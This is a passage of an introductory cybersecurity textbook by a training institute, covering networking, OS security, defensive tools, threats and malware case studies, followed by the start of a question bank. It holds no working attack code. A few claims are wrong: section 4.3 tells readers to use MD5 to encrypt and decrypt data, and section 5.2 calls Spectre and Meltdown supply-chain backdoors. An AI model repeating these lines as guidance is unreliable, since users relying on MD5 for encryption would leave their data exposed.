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About the Book 

This book is a comprehensive self-learning guide created to empower aspiring and 
professional cyber security enthusiasts with the essential knowledge, tools, and techniques 
needed in today’s rapidly evolving digital threat landscape. Whether you are a beginner 
stepping into the world of cyber security or an experienced professional aiming to upgrade 
your defensive and analytical skills, this guide provides step-by-step learning enriched with 
practical exercises and real-world case studies. 

Covering the complete cyber security lifecycle, the book explores core concepts such as 
network security, encryption, ethical hacking, penetration testing, incident response, digital 
forensics, cloud security, and security compliance frameworks. It also introduces advanced 
areas including malware analysis, threat intelligence, SOC operations, Red Team–Blue Team 
methodologies, and modern AI-driven security practices. 

Each chapter is structured to gradually strengthen your understanding with hands-on labs, 
simulated attack-defense scenarios, tool-based walkthroughs, and practical projects. You’ll 
gain proficiency in using industry-standard tools and platforms such as Kali Linux, Burp Suite, 
Metasploit, Wireshark, Splunk, Nessus, Nmap, and cloud security consoles. 

Aligned with the latest trends in cyber defense, ethical hacking, risk assessment, and digital 
transformation, this book ensures you become job-ready, security-aware, and capable of 
safeguarding systems in real environments. Whether your goal is to become a cyber security 
analyst, ethical hacker, penetration tester, SOC engineer, or security consultant, this guide 
provides the strong foundation and advanced insights required to succeed in the cyber 
security domain. 

This guide is developed by Technoglobe, a leading IT and multimedia training institute 
awarded for Quality Education and Placements, with over 100+ centers and a legacy of 
training thousands of students since 2001.  
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Chapter 1:  Introduction to Cybersecurity 
1.1 What is Cybersecurity? 

Cybersecurity refers to the practice of protecting computer systems, networks, data, 
and digital assets from unauthorized access, theft, damage, or disruption. In simple 
terms, it is about keeping information safe in the digital world. 

With the rise of the Internet, mobile devices, and cloud computing, cyber threats 
have grown exponentially. Cybersecurity ensures that individuals, businesses, and 
governments can operate securely in a connected world. 

1.2 Importance of Cybersecurity 

• Data Protection – Prevents theft of sensitive data such as financial information,
personal identity, and trade secrets.

• Business Continuity – Ensures that organizations can continue operations even
after cyberattacks.

• National Security – Governments rely on cybersecurity to protect critical
infrastructure such as power grids, defense systems, and healthcare.

• Trust – A secure environment builds trust between users, customers, and
organizations.

Example: Imagine if a bank’s system was hacked and customer accounts were 
exposed. Without cybersecurity, people would lose trust in online banking. 

1.3 The Evolution of Cybersecurity 

• 1960s – 1970s: Early mainframes had no passwords. Physical access was the
only security.

• 1980s: Introduction of personal computers brought the first computer viruses.

• 1990s: Internet boom → new threats like worms, Trojans, and phishing.

• 2000s: Rise of e-commerce and social media → need for encryption, firewalls,
and anti-virus software.

• 2010s – Now: Advanced attacks like ransomware, nation-state cyber warfare,
and AI-based hacking.

1.4 Types of Cyber Threats 

1. Malware – Viruses, worms, Trojans that damage or steal data.

2. Ransomware – Encrypts files and demands money to unlock them.
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3. Phishing – Fake emails or websites that trick users into giving personal info.

4. Denial of Service (DoS/DDoS) – Overloads a server with traffic to shut it down.

5. Insider Threats – Employees or contractors misusing access.

6. Zero-Day Exploits – Attacks that exploit unknown software vulnerabilities.

1.5 Cybersecurity Goals – The CIA Triad 

Cybersecurity is built on three main principles (CIA): 

• Confidentiality → Protecting information from unauthorized access.

• Integrity → Ensuring data is not altered or tampered with.

• Availability → Making sure systems are always accessible when needed.

1.6 Ethical Hacking vs. Black Hat Hacking 

• Black Hat Hackers – Break into systems illegally for personal gain or
destruction.

• White Hat Hackers (Ethical Hackers) – Use hacking skills to find weaknesses
and secure systems.

• Gray Hat Hackers – Fall in between; sometimes hack without permission but
not always malicious.

Example: An ethical hacker may test a bank’s system for vulnerabilities, while a black 
hat hacker tries to steal customer money. 

1.7 Careers in Cybersecurity 

Cybersecurity is one of the fastest-growing fields with high-paying jobs. Some roles 
include: 

• Security Analyst – Monitors threats and attacks.

• Penetration Tester – Performs ethical hacking.

• Security Engineer – Builds secure systems.

• Incident Responder – Handles cyberattacks when they happen.

• Chief Information Security Officer (CISO) – Manages an organization’s entire
cybersecurity strategy.

1.8 Real-World Cyber Incidents 

• WannaCry (2017): Ransomware attack that infected more than 200,000
computers in 150 countries.
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Chapter 2: Basics of Computer Networking 

2.1 Introduction to Networking 

A computer network is a group of computers and devices connected together to share 
information, resources, and services. Networking is the foundation of the internet and 
cybersecurity—without understanding how computers talk to each other, it is 
impossible to secure them. 

Example: 

• When you send a WhatsApp message → your phone communicates with servers
→ the server delivers it to your friend’s device.

• This entire process happens because of networking protocols.

2.2 Why Networking Matters in Cybersecurity 

• Attacks happen through networks (phishing emails, malware downloads,
DDoS attacks).

• Defenses are network-based (firewalls, intrusion detection systems, VPNs).

• To be a good cybersecurity professional, you must understand how networks
are built and protected.

2.3 Types of Networks 

1. LAN (Local Area Network) – Small network within a home, office, or school.

2. WAN (Wide Area Network) – Large network spanning cities or countries (e.g.,
the Internet).

3. MAN (Metropolitan Area Network) – Covers a city or metro area.

4. PAN (Personal Area Network) – Bluetooth, hotspot, and device-to-device
connections.

5. VPN (Virtual Private Network) – A secure “tunnel” inside a public network for
safe communication.

2.4 Network Topologies 

The topology is the physical or logical arrangement of network devices. 

• Bus → All devices connected to one cable (simple, but failure-prone).

• Star → All devices connected to a central switch (common in homes/offices).
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• Ring → Devices connected in a loop.

• Mesh → Every device connects to every other device (used in critical systems).

• Hybrid → Combination of two or more topologies.

2.5 Network Devices 

• Router – Connects different networks (e.g., your home Wi-Fi to the Internet).

• Switch – Connects devices inside a LAN and forwards data efficiently.

• Hub – A basic device that broadcasts data to all connected systems.

• Firewall – Security device that filters network traffic.

• Access Point – Provides wireless connectivity.

• Server – Stores and manages data for clients.
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2.6 OSI Model (Open Systems Interconnection) 

The OSI model is a 7-layer framework that explains how data moves across a network. 

1. Physical – Cables, signals, hardware.

2. Data Link – MAC addresses, switches, Ethernet.

3. Network – IP addresses, routers.

4. Transport – TCP/UDP, data delivery.

5. Session – Manages sessions between devices.

6. Presentation – Encryption, compression.

7. Application – User applications (web, email, chat).
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2.7 TCP/IP Model 

The Internet model (practical version of OSI): 

1. Network Access Layer – Physical + Data link.

2. Internet Layer – IP addressing, routing.

3. Transport Layer – TCP/UDP communication.

4. Application Layer – Web, Email, FTP, DNS

2.8 IP Addressing

Every device on a network needs a unique IP address.

• IPv4 – 32-bit address (e.g., 192.168.1.1).

• IPv6 – 128-bit address (e.g., 2001:0db8::1).

Types of IPs:

• Public IP → Given by ISP, used on the Internet.

• Private IP → Used inside LAN (e.g., 192.168.x.x).

• Static IP → Fixed, doesn’t change.

• Dynamic IP → Assigned by DHCP, changes automatically.

2.9 Subnetting (Basics)

Subnetting is dividing a large network into smaller parts for efficiency and
security.

Example:

• Network: 192.168.1.0/24 → 256 IPs.

• If divided into 2 subnets (/25), we get:

o Subnet 1: 192.168.1.0 – 192.168.1.127

o Subnet 2: 192.168.1.128 – 192.168.1.255

This helps in better management, isolation, and security. 

2.10 Common Networking Protocols 

• HTTP/HTTPS → Web browsing.

• FTP/SFTP → File transfer.

• DNS → Converts domain names to IP addresses.
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• DHCP → Assigns IP addresses automatically.

• SMTP/IMAP/POP3 → Email communication.

• SNMP → Network device monitoring.

2.11 Wired vs Wireless Networking

• Wired Networks → More secure, faster, but less flexible.

• Wireless Networks → Convenient, mobile, but vulnerable to attacks (e.g., Wi-Fi
hacking).

2.12 Basics of Network Security

• Authentication – Confirming identity (passwords, biometrics).

• Authorization – Granting permissions.

• Encryption – Securing data using cryptography.

• Firewalls & IDS – Filtering and monitoring traffic.

• VPNs – Protecting data over the Internet.

• 2.13 Summary
• Computer networking is the backbone of cybersecurity. Without understanding how

data flows through cables, routers, switches, and protocols, one cannot defend against

hackers. In the next chapters, we will explore operating systems security and then

move deeper into cybersecurity tools and attacks.
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Chapter 3: Operating Systems & Security 

3.1 Introduction 

An Operating System (OS) is the software that manages hardware, 
applications, and users. Examples include Windows, Linux, macOS, 
and Android. 
From a cybersecurity perspective, the OS is the first line of defense—
if an attacker compromises it, they gain control over the entire 
computer. 
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3.2 Role of the Operating System in Cybersecurity 

• Access Control → Who can use the system and what they can do.

• File System Security → Preventing unauthorized access to data.

• Process Management → Ensuring no malicious process runs
unnoticed.

• User Authentication → Passwords, biometrics, smart cards.

• System Logs & Monitoring → Detecting intrusions through system
events.

3.3 Windows Security Features 

Windows is the most widely used OS in enterprises, making it a 
frequent target for hackers. 

Key Windows Security Features: 

• User Account Control (UAC) – Prevents unauthorized changes.

Pg.12 www.technoglobe.co.in



• BitLocker – Encrypts hard drives.

• Windows Defender – Built-in antivirus and firewall.

• Group Policy – Centralized control of user privileges.

• Active Directory (AD) – Manages users, computers, and permissions
in a network.

Common Windows Attacks:

• Pass-the-Hash attacks (stealing Windows credentials).

• Exploiting unpatched vulnerabilities (e.g., EternalBlue → WannaCry
ransomware).

• Privilege escalation using weak admin settings.

• 

3.4 Linux Security Features 

Linux is popular in servers, cybersecurity labs, and ethical hacking due to its 
stability and open-source nature. 

Security Features in Linux: 

• File Permissions (rwx) – Controls read, write, execute access.
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• Sudo (superuser do) – Grants limited admin privileges.

• iptables / firewalld – Network firewall.

• SELinux / AppArmor – Mandatory access controls.

• Open-Source Tools – Nmap, Wireshark, Metasploit available natively.

Common Linux Attacks: 

• Privilege escalation (getting root access).

• Weak SSH configurations.

• Kernel exploits.

3.5 User Authentication & Authorization 

Authentication = proving identity. 
Authorization = deciding access rights. 

Methods of Authentication: 

• Passwords (weak if simple).

• Multi-Factor Authentication (MFA).

• Biometrics (fingerprint, face ID).

• Digital Certificates.
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Best Practices: 

• Use strong, unique passwords.

• Enable MFA everywhere.

• Limit admin accounts.

3.6 System Hardening 

System hardening means reducing attack surfaces by securing an OS. 

Steps to Harden an OS: 

1. Apply regular patches & updates.

2. Disable unused services & ports.

3. Remove default accounts & passwords.

4. Enable firewall & antivirus.

5. Regular backup & restore plans.

3.7 Logging & Monitoring 

• Windows Event Viewer → Tracks system events.

• Linux syslog / journalctl → Records activities.

• Logs help in incident response and detecting suspicious behavior.

Example: 

• Repeated failed logins in logs → brute force attack in progress.

3.8 Virtualization & Containers 

Pg.15 www.technoglobe.co.in



Modern IT uses virtualization and containers to run multiple systems on one machine. 

• Virtual Machines (VMware, VirtualBox, Hyper-V) → Used for cybersecurity labs.

• Containers (Docker, Kubernetes) → Lightweight, isolated apps.

Security Challenges: 

• VM escape attacks (hacker breaks out of VM to host system).

• Misconfigured containers exposing sensitive data.

3.9 Mobile Operating Systems Security 

• Android (Linux-based, most targeted due to popularity).

• iOS (Apple’s closed ecosystem, considered more secure).

Threats: 

• Malicious apps.

• Jailbreaking/rooting vulnerabilities.

• Data theft via insecure Wi-Fi.

3.10 Real-World OS Security Incidents 

• WannaCry (2017): Exploited unpatched Windows systems.
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Chapter 4: Cybersecurity Tools & 

Techniques 

Introduction 

Cybersecurity is not only about theory; it is a field where practical tools and techniques 
are the backbone of defense, monitoring, and investigation. Tools provide visibility into 
networks, identify vulnerabilities, detect attacks, and help mitigate threats in real time. 
A cybersecurity professional must know how to use these tools effectively, as they are 
the "weapons" of defense in the digital world. 

This chapter introduces the most widely used cybersecurity tools and techniques. We 
will explore their purpose, functionality, and real-world application, giving students a 
practical foundation for hands-on learning. 

4.1 Firewalls 

A firewall is a security device (hardware or software) that monitors and controls 
incoming and outgoing network traffic based on predefined rules. 

• Types of Firewalls:

o Packet-Filtering Firewall – checks packets against rules
(source/destination IP, ports, protocol).

o Stateful Firewall – monitors active connections and makes decisions
based on traffic state.

o Application Firewall (WAF) – protects web applications by filtering
malicious HTTP requests.

o Next-Generation Firewall (NGFW) – combines traditional firewall with
intrusion prevention and application awareness.

• Real Use Case: A university network uses NGFWs to block access to malicious
websites while allowing students access to academic resources.
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• 

4.2 Intrusion Detection & Prevention Systems (IDS/IPS) 

IDS and IPS are tools designed to detect and, in some cases, prevent malicious activity. 

• IDS (Intrusion Detection System): Monitors network traffic, generates alerts on
suspicious activity. Example: Snort, Suricata.

• IPS (Intrusion Prevention System): Not only detects but also blocks or drops
malicious traffic in real-time.

• Use Case: An IDS alerts a system admin of unusual login attempts from multiple
countries, indicating a brute-force attack.

4.3 Encryption & Cryptography 

Encryption protects confidentiality by converting plain data into unreadable format 
using algorithms. 

• Symmetric Encryption: Uses one key for both encryption and decryption (e.g.,
AES).

• Asymmetric Encryption: Uses public and private keys (e.g., RSA).

• Hashing: One-way function, commonly used for password storage (e.g., SHA-
256).

• Use Case: HTTPS websites encrypt communication between browser and server
using TLS (a combination of asymmetric and symmetric encryption).

Note: Use Md5 for encrypt and decrypt data. 
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4.4 Virtual Private Networks (VPNs) 

A VPN establishes a secure, encrypted tunnel over the internet, allowing users to 
protect data and mask their location. 

• Types of VPNs:

o Remote Access VPN – connects individuals to a corporate network.

o Site-to-Site VPN – connects two entire networks securely.

• Use Case: Remote employees use VPNs to securely access company resources
from home.

4.5 Security Information and Event Management (SIEM) 

SIEM tools collect, analyze, and correlate security logs from multiple systems. They 
provide a centralized dashboard for security monitoring. 

• Popular SIEMs: Splunk, IBM QRadar, ArcSight, ELK Stack.

• Functions: Real-time monitoring, threat detection, compliance reporting.

• Use Case: A bank uses SIEM to detect unusual login activity from ATMs,
signaling a possible fraud attempt.

4.6 Penetration Testing Tools 

Ethical hackers use penetration testing tools to simulate attacks and uncover 
vulnerabilities. 

• Common Tools:

o Nmap – network scanning and mapping.

o Metasploit – exploit framework.

o Burp Suite – web application testing.

o Hydra – password brute forcing.

• Use Case: A cybersecurity team tests a new e-commerce site using Burp Suite
to detect SQL injection vulnerabilities.
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4.7 Malware Analysis Tools 

Analyzing malware helps researchers understand its behavior. 

• Static Analysis: Examining code without running it. (Tool: IDA Pro, Ghidra)

• Dynamic Analysis: Running malware in a sandbox to observe its behavior. (Tool:
Cuckoo Sandbox)

• Use Case: Security researchers use Ghidra to reverse engineer ransomware and
develop a decryption tool.

4.8 Password Security Tools 

Weak passwords are a major vulnerability. Tools are used to audit and strengthen 
password security. 

• Examples:

o John the Ripper – password cracking.

o Hashcat – GPU-based cracking.

o KeePass/LastPass – password managers for safe storage.

• Use Case: An organization audits employee passwords with John the Ripper to
ensure compliance with strong password policies.
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4.9 Wi-Fi Security Tools 
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Wi-Fi networks are common attack targets. Tools help identify 
misconfigurations and vulnerabilities. 

• Examples:

o Air crack-ng – wireless key cracking.

o Kismet – wireless network detector.
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o Wireshark – packet analysis.

o Use Case: A penetration tester uses Aircrack-ng to evaluate
Wi-Fi encryption strength at a client’s office.

  4.10 Digital Forensics Tools 

 Digital forensics is about collecting and analyzing evidence after a cyber 
incident. 

• Examples:

o FTK (Forensic Toolkit) – full forensic suite.

o Autopsy/Sleuth Kit – open-source forensic analysis.

o Volatility – memory forensics.

• Use Case: Law enforcement uses Autopsy to recover deleted files from a
suspect’s hard drive.
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4.11 Techniques Used in Cybersecurity 

Beyond tools, professionals rely on techniques to strengthen defenses. 

• Vulnerability Scanning – Identifying weaknesses before attackers do.

• Patch Management – Regular updates to close security gaps.

• Threat Hunting – Proactively looking for hidden threats.

• Incident Response – Steps to contain, mitigate, and recover from attacks.

4.12 Case Study: Using Tools Together 

Imagine a company hit by ransomware: 

1. IDS detects unusual traffic.

2. Firewall blocks outbound connections.

3. SIEM correlates logs to identify the source.

4. Forensics tools analyze affected systems.

5. Patch management is enforced to prevent reoccurrence.

This demonstrates the importance of using multiple tools in combination. 

Summary 

Cybersecurity tools and techniques form the frontline of defense against modern 
threats. From firewalls to forensic tools, professionals must understand how to deploy 
and integrate them effectively. Tools alone cannot guarantee security, but combined 
with knowledge, processes, and human expertise, they provide a strong shield against 
attackers. 
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Chapter 5: Cyber Threats & Vulnerabilities 

Introduction 

Every digital system faces risks in the form of threats and vulnerabilities. 

• A threat is any potential danger that can exploit a weakness.

• A vulnerability is a flaw or weakness in a system that makes it susceptible to
attack.

• An attack occurs when a threat actor actively exploits a vulnerability.

Understanding threats and vulnerabilities is the foundation of cybersecurity defense. 
This chapter explores the types of threats, common vulnerabilities, and how 
organizations mitigate these risks. 
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5.1 Understanding Cyber Threats 

Cyber threats come in many forms, ranging from malware to human-based attacks. 
Threats may be internal (disgruntled employees, careless users) or external (hackers, 
cybercriminals, nation-states). 

Categories of Cyber Threats: 

1. Malware – Malicious software like viruses, worms, trojans, ransomware,
spyware.

2. Phishing Attacks – Fraudulent emails or messages that trick users into revealing
sensitive information.

3. Denial of Service (DoS/DDoS) – Flooding a service with traffic to make it
unavailable.

4. Man-in-the-Middle (MITM) Attacks – Intercepting communication between two
parties.

5. Insider Threats – Employees or contractors misusing access for malicious
purposes.

6. Advanced Persistent Threats (APTs) – Long-term, targeted attacks often
sponsored by nation-states.
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5.2 Common Vulnerabilities 

Vulnerabilities may exist at different levels: hardware, software, network, and human. 

Examples: 

• Software Vulnerabilities: Unpatched systems, buffer overflows, SQL injection
flaws.

• Network Vulnerabilities: Open ports, weak Wi-Fi encryption, misconfigured
firewalls.

• Hardware Vulnerabilities: Firmware bugs, supply-chain backdoors (e.g.,
Spectre, Meltdown).

• Human Vulnerabilities: Weak passwords, lack of awareness, falling for
phishing.

 Real Example: The 2017 Equifax breach was caused by an unpatched vulnerability 
in Apache Struts software. 
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5.3 Exploiting Vulnerabilities 

Attackers use exploits—pieces of code or tools—that take advantage of vulnerabilities. 

• Zero-Day Exploit: Targets a vulnerability unknown to the vendor, leaving no time
to patch.

• Exploit Kits: Collections of pre-built attacks available on the dark web.

• Privilege Escalation: Exploiting vulnerabilities to gain higher-level access.

5.4 Threat Actors 

Who are the people behind cyber threats? 

1. Hacktivists – motivated by ideology (e.g., Anonymous).

2. Cybercriminals – motivated by financial gain.

3. Insiders – employees or contractors with malicious intent.

4. Nation-States – government-backed groups focusing on espionage and
cyberwarfare.

5. Script Kiddies – inexperienced attackers using ready-made tools.

5.5 The Vulnerability Lifecycle 

1. Discovery – A researcher or attacker finds a vulnerability.

2. Disclosure – Reported to the vendor (responsible disclosure) or leaked publicly.

3. Exploit Release – Attackers weaponize the vulnerability.

4. Patch Release – Vendor issues a fix.

5. Mitigation – Organizations apply the patch or workaround.

 Important: The time between discovery and patching is when systems are most at 
risk. 

5.6 Common Attack Vectors 

• Email Attachments & Links – phishing, ransomware delivery.

• Web Applications – SQL injection, cross-site scripting (XSS).
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• Social Engineering – manipulating people to gain access.

• Removable Media – infected USB drives.

• Cloud Vulnerabilities – insecure APIs, misconfigured storage buckets.
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5.7 Assessing and Managing Vulnerabilities 

Organizations use vulnerability management to identify and reduce risks. 

• Vulnerability Scanning Tools: Nessus, OpenVAS, Qualys.

• Patch Management: Regular software updates.

• Configuration Management: Secure baselines for systems.

• Risk Assessment: Prioritizing vulnerabilities based on severity (CVSS score).

5.8 Case Studies 

• WannaCry Ransomware (2017): Exploited an unpatched Windows vulnerability
(EternalBlue). Impacted hospitals, banks, and businesses globally.

• SolarWinds Supply Chain Attack (2020): Nation-state actors compromised
software updates, infiltrating thousands of organizations.

• Facebook Data Leak (2019): Misconfigured database exposed millions of user
records.

5.9 Mitigation Strategies 

• Regular patching and updates.

• Network segmentation to limit spread of attacks.

• User training to reduce human error.

• Backup and disaster recovery plans to recover from ransomware.

• Multi-factor authentication (MFA) to prevent account takeover.

Summary 

Cyber threats and vulnerabilities are at the core of every cybersecurity strategy. Threats 
may come from malware, phishing, or nation-states, while vulnerabilities range from 
software flaws to human mistakes. By understanding how threats exploit weaknesses, 
cybersecurity professionals can build stronger defenses. Regular patching, awareness 
training, and vulnerability management are essential for reducing risk. 
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Cyber Break: A Little Humor Before the Malware Madness 

       Before we dive into the terrifying world of malware and cyber attacks, 
let’s take a short breather. Cybersecurity may be serious business, but 
sometimes it feels like we’re living in a comedy show written by hackers. 
Think about it—hackers spend hours creating advanced malware to break 
into your system, while most of us still use “123456” as a password. 
Antivirus companies design million-dollar security tools, and yet your 

grandma’s Facebook account gets hacked because she clicked on a link that said “Free 
Candy Crush Points.” 

In the digital world, hackers are like magicians: they distract you with one hand (the fake 
email that says “Your parcel is waiting”), while the other hand quietly empties your data 
vault. And let’s be honest—most of us don’t need hackers to make our devices crash; 
we manage that perfectly well by installing too many Chrome extensions. 

So, buckle up! From this point on, things are going to get darker, scarier, and maybe 
even a little creepy. Malware isn’t funny—but sometimes, the way humans fall for it 
definitely is. 

Cyber Break: The Lighter Side of Hacking 

Cybersecurity is serious business… but let’s be honest—sometimes the 
funniest things happen when humans meet technology. Before we head into 
the heavy stuff about malware and cyber attacks, let’s take a laugh break. 
After all, if we don’t laugh at our mistakes, hackers will do it for us. 

The Password Problem 

If aliens ever invade Earth and study our digital behavior, the first thing they’ll probably 
ask is: 
“Why do these humans use ‘password123’ to protect their entire financial life?” 

Seriously, the most common passwords in the world every year are still things like 
123456, qwerty, or even just the word password. Imagine locking your front door with a 
super high-tech lock and then leaving the key under the doormat with a note that says: 
“Dear burglar, here it is.” That’s basically what weak passwords do. 

And when IT tells people to “use a strong password,” they get creative: Password123!. 
Genius—hackers will never guess that exclamation mark, right? 

Phishing Fun 

Phishing emails are another comedy goldmine. Hackers send you messages like: 
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• “Dear Customer, your bank account has been compromised. Please click this
suspicious link immediately!”

• Or, “Congratulations! You’ve just won a free trip to Mars. Just send us your credit
card number for rocket fuel.”

The funniest part? People do click on them. If hackers are evil fishermen, humans are… 
very hungry fish. Some people don’t just take the bait, they season it, cook it, and serve 
it back with fries. 

Grandma vs. Hackers 

Never underestimate grandmothers online. Some hackers think they can trick your 
grandma with a fake email, but they don’t know who they’re dealing with. Grandma has 
30 WhatsApp groups, a chain mail army, and the ability to forward fake news faster 
than any worm or trojan ever could. If malware spread like grandma’s morning jokes, the 
internet would’ve collapsed years ago. 

The Wi-Fi Struggle 

Another funny scene: people who try to “hack” Wi-Fi. Not with tools or exploits, but by 
standing in the kitchen, holding their phone at a 45-degree angle, whispering: “Please, 
just one more bar.” 

Some people rename their Wi-Fi networks with a sense of humor: 

• “Pretty Fly for a Wi-Fi”

• “LAN of Milk and Honey”

• Or the best one: “Hack Me If You Can.”

Hackers love that last one. Challenge accepted. 

Antivirus Logic 

Have you noticed how some people treat antivirus software like a lucky charm? They 
install one free antivirus in 2009, never update it, and proudly say: “Don’t worry, I’m 
safe.” That’s like putting a 10-year-old band-aid on a gunshot wound. 

And when malware actually strikes? Instead of calling IT, they try the oldest trick in the 
book: 
“Did you try turning it off and on again?” 
(If that worked on ransomware, the world would be a safer place.) 
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Hackers vs. Humans 

Let’s be honest—hackers are dangerous, but sometimes humans are their own worst 
enemy. 

• Hackers spend months creating sophisticated exploits.

• Humans fall for: “Click here to see who viewed your profile!”

It’s not even a fair fight. If cybersecurity were a movie, hackers would be James Bond… 
and the average user would be the guy who slips on a banana peel in the opening 
credits. 

Final Laugh Before the Storm 

Cybersecurity can be stressful, but humor keeps us sane. At the end of the day, hackers 
are people too—and sometimes, they laugh at our mistakes more than their own 
success. As we move on to Chapter 6, remember: malware is scary, attacks are serious, 
but the funniest security breach will always be… the human behind the keyboard. 

So grab a snack, chuckle at your last “forgot my password” moment, and get ready. 
From here on, the jokes stop—because malware definitely isn’t funny. 
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Chapter 6: Malware and Cyber Attacks 

Introduction 

Malware and cyber attacks are 
two of the most significant 
concerns in the field of 
cybersecurity. Malware refers to 
malicious software designed to 
infiltrate, damage, or steal from 
computer systems without the 
user’s consent. Cyber attacks, on 

the other hand, encompass the broader strategies and techniques that 
threat actors employ to exploit vulnerabilities, compromise confidentiality, 
integrity, or availability of systems. 

This chapter provides a comprehensive look at malware categories, 
attack techniques, infection vectors, real-world case studies, and 
defense mechanisms. By the end, readers should understand not only 
what malware is, but also how it spreads, how attackers operate, and how 
organizations can defend against it. 

6.1 What is Malware? 

Malware, short for malicious software, is any code or program created with 
the intent to harm or exploit. Unlike normal software, which benefits users, 
malware is specifically designed to serve the attacker’s goals. 

Core Characteristics of Malware 

• Covert operation: Hides its presence (rootkits, stealth viruses).

• Persistence: Maintains long-term control over systems.

• Polymorphism: Ability to change code signatures to evade antivirus
detection.
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• Payload delivery: Executes malicious actions like encryption, data
theft, or system sabotage.

Malware may target: 

• End-users (ransomware, spyware).

• Enterprises (worms, backdoors).

• Critical infrastructure (ICS malware like Stuxnet).

6.2 Types of Malware 

1. Viruses

• Attach themselves to files and replicate
when the file runs.

• Spread via removable media, infected
software, or email attachments.

• Example: The Melissa Virus (1999) spread via Microsoft Word
macros, shutting down email servers worldwide.

• 2. Worms

• Self-replicating, spread without human
intervention.

• Exploit vulnerabilities in network
protocols.

• Example: The Morris Worm (1988), one
of the first worms, infected 10% of the internert. 

3. Trojans

• Masquerade as legitimate software but
secretly execute malicious activity.

• Often used as backdoors to install additional
malware.
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• Example: Zeus Trojan (2007) stole banking credentials and caused
billions in losses.

4. Ransomware

• Encrypts victim’s files and demands
ransom (usually in cryptocurrency).

• Modern ransomware often includes
double extortion (steal + encrypt data).

• Example: WannaCry (2017), exploiting
the EternalBlue vulnerability, infected
230,000+ systems worldwide.

5. Spyware

• Monitors user activity, such as
keystrokes, browsing, or login data.

• Often bundled with free software.

• Example: FinFisher, commercial
spyware used in government surveillance.

6. Adware

• Displays intrusive ads, sometimes
leading to malicious websites.

• Though not always dangerous, it
compromises privacy and slows systems.
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7. Rootkits

• Hide malicious processes, files, or registry
keys.

• Operate at the kernel or firmware level,
making detection difficult.

• Example: The Sony BMG Rootkit scandal
(2005) where DRM software installed hidden
processes.

8. Botnets

• Networks of infected devices
controlled remotely by attackers.

• Often rented out for DDoS attacks or
spam campaigns.

• Example: Mirai Botnet (2016) hijacked
IoT devices, launching massive DDoS
attacks.

6.3 Malware Distribution Techniques 

Attackers use creative and evolving methods to spread malware: 

• Phishing Emails: Attachments disguised as invoices, resumes, or
links.

• Drive-by Downloads: Visiting compromised websites triggers
automatic malware download.

• USB/Removable Media: Auto-run malware spreads via infected
flash drives.
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• Software Cracks/Pirated Apps: Hidden malware bundled with free
software.

• Exploiting Vulnerabilities: Automated worms spread through
unpatched systems.

• Social Engineering: Convincing users to install malware voluntarily
(fake antivirus).

6.4 Cyber Attack Techniques (Deep Dive) 

1. Phishing and Spear Phishing

• Bulk phishing vs. highly targeted spear phishing.

• Often combined with fake login pages.

• Defense: Awareness training, email filtering, multi-factor
authentication.

2. SQL Injection (SQLi)

• Attacker manipulates SQL queries in a website’s input field.

• Can extract databases or escalate privileges.

• Example: Major breaches of credit card databases due to SQLi.

3. Cross-Site Scripting (XSS)

• Injecting malicious scripts into websites.

• Can steal session cookies or redirect users.

4. Denial of Service (DoS/DDoS)

• Overwhelming a server with traffic.

• Botnets are commonly used.

• Example: GitHub was hit with the largest DDoS attack in 2018 (1.3
Tbps).
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5. Password Attacks

• Brute Force: Trying all possible combinations.

• Dictionary Attack: Trying common words/phrases.

• Credential Stuffing: Using leaked usernames/passwords from other
breaches.

6. Man-in-the-Middle (MITM)

• Intercepting communications between two systems.

• Often executed on unsecured Wi-Fi.

• Tools: Ettercap, Wireshark.

7. Zero-Day Exploits

• Exploiting vulnerabilities unknown to vendors.

• Highly valuable in underground markets.

6.5 Case Studies in Malware and Attacks 

1. Stuxnet (2010):

o First known cyber weapon.

o Targeted Iranian nuclear facilities, sabotaging centrifuges.

o Spread via USB drives and exploited multiple zero-days.

2. NotPetya (2017):

o Disguised as ransomware but designed for destruction.

o Paralyzed global companies like Maersk and FedEx.

3. SolarWinds Hack (2020):

o Supply chain attack.

o Malicious code inserted into SolarWinds software updates,
affecting 18,000 organizations.
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6.6 The Lifecycle of a Cyber Attack 

1. Reconnaissance – attacker gathers intelligence (scanning, open-
source info).

2. Weaponization – creating the malware or exploit.

3. Delivery – sending malware via phishing, USB, or exploit.

4. Exploitation – vulnerability is triggered.

5. Installation – backdoor/rootkit installed.

6. Command & Control (C2) – attacker communicates with
compromised system.

7. Action on Objectives – data theft, sabotage, or extortion.

6.7 Defending Against Malware and Attacks 

• Endpoint Protection: Antivirus, EDR (CrowdStrike, SentinelOne).

• Network Security: Firewalls, IDS/IPS.

• Patch Management: Timely updates.

• User Awareness Training: Reduce phishing success rates.

• Incident Response Plans: Structured recovery from attacks.

• Threat Intelligence: Monitoring latest malware trends.

6.8 Future Trends in Malware and Attacks 

• AI-powered Malware: Adapts to defenses in real time.

• Fileless Malware: Resides in memory, evades detection.

• Ransomware-as-a-Service (RaaS): Attackers rent out ransomware
kits.
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• IoT Attacks: Exploiting smart devices with poor security.

• Deepfake & Social Engineering: Using AI-generated voices/videos
for scams.

Summary 

Malware and cyber attacks are constantly evolving. From viruses and 
worms to ransomware and APTs, attackers employ a mix of technical 
exploits and human manipulation. Defense requires a layered strategy, 
combining technical safeguards (firewalls, EDR, SIEM), human factors 
(training, awareness), and organizational processes (patching, incident 
response). 

Understanding malware behavior, attack techniques, and case studies 
equips cybersecurity professionals with the knowledge to anticipate and 
defend against emerging threats. 

Cyber Fact: 
Did you know the very first computer virus, called 
Creeper, was created in 1971—not to steal data, but 
as an experiment? It simply displayed the message: 
“I’m the Creeper, catch me if you can!” This 
harmless program gave birth to the world of 
malware, which today causes billions of dollars in 
damages annually. 
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Question Bank (Chapters 1–6) 

Chapter 1: Introduction to Cybersecurity (15 Questions) 

1. Define cybersecurity in your own words.

2. What are the three core principles of the CIA triad?

3. Which principle of the CIA triad ensures that only authorized users
can access information?

4. State one real-world example of a cybersecurity breach.

5. What is the difference between a threat and a vulnerability?

6. Multiple Choice: Cybersecurity primarily deals with protecting:
a) Hardware only
b) Software only
c) Information and systems
d) None of the above

7. True/False: Cybersecurity is only important for large companies.

8. Explain the difference between IT security and cybersecurity.

9. What is an attack surface?

10. Name two reasons why cybersecurity is critical in today’s
digital world.

11. Fill in the blank: The process of identifying, analyzing, and
addressing risks is called ______.

12. What is the difference between passive and active cyber
threats?

13. Which sector is most vulnerable to cyber attacks: healthcare,
agriculture, or manufacturing? Why?

14. True/False: Cybersecurity is a one-time setup process.

15. Write a short note on the importance of awareness in
cybersecurity.
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Chapter 2: Basics of Computer Networking (15 Questions) 

16. Define a computer network.

